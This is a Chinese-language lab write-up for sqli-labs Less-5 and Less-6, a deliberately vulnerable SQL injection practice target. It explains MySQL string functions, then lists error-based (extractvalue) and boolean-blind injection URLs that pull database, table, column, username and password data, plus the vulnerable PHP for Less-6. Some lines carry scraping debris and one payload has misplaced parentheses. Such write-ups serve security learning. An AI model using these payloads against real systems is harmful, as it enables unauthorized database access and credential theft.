sqli-labs-master 盲注+第五关

1、基于布尔 SQL 盲注mysql

一、构造逻辑判断sql

(1)sql注入截取字符串经常使用涵数数据库

 在sql注入中,每每会用到截取字符串的问题,例如不回显的状况下进行的注入,也称为盲注,这种状况下每每须要一个一个字符的去猜解,过程当中须要用到截取字符串。本文中主要列举三个函数和该函数注入过程当中的一些用例。函数

函数:mid()  substr()   left()fetch

mid()函数为截取字符串一部分。mid(column_name,start,length)orm

column_name 必需,要提取字符的字段blog

start                必需,规定开始位置(起始为1)ci

length            可选,要返回的字符数,若是省略则返回剩余文本字符串

eg:str="123456" mid(str,2,1)  结果为2string

substr()

 Substr()和substring()函数实现的功能是同样的,均为截取字符串。

    string substring(string, start, length)

    string substr(string, start, length)

    参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度

left()函数

Left()获得字符串左部指定个数的字符

Left ( string, n )        string为要截取的字符串,n为长度。

•基于时间的 SQL 盲注--延时注入

•基于报错的 SQL 盲注-构造 payload 让信息经过错误提示回显出来

第五关

报错注入:

爆数据库:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

 

 爆表名:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

 

 爆列名:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

 

 爆数据:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+

爆密码时密码不全,要用截取函数截取剩下的密码

and extractvalue(1,concat(0x23,substr((select password from users limit 0,1),32,1),0x23))

布尔注入:

判断数据库长度:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length(database())>0--+

http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length(database())=8--+ 数据库有八位

 

 依次肯定数据库名称组成:

http://10.10.32.165/sqli-labs-master/Less-5?id=1' and ascii(substr(database(),1,1)=83)--+   s

 

 判断数据表的个数:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0--+

 

 判断表的长度:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0--+

 

 

 

 

 

依次肯定代表:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>79--+

肯定列数:and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0--+

肯定烈的长度:and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1)) > 0--+

依次肯定列名:and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)) > 79

依次肯定数据:and ascii(substr((select username from users limit 0,1),1,1))>79

 

第六关:

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

将第五关的单引号改成双引号

相关文章
相关标签/搜索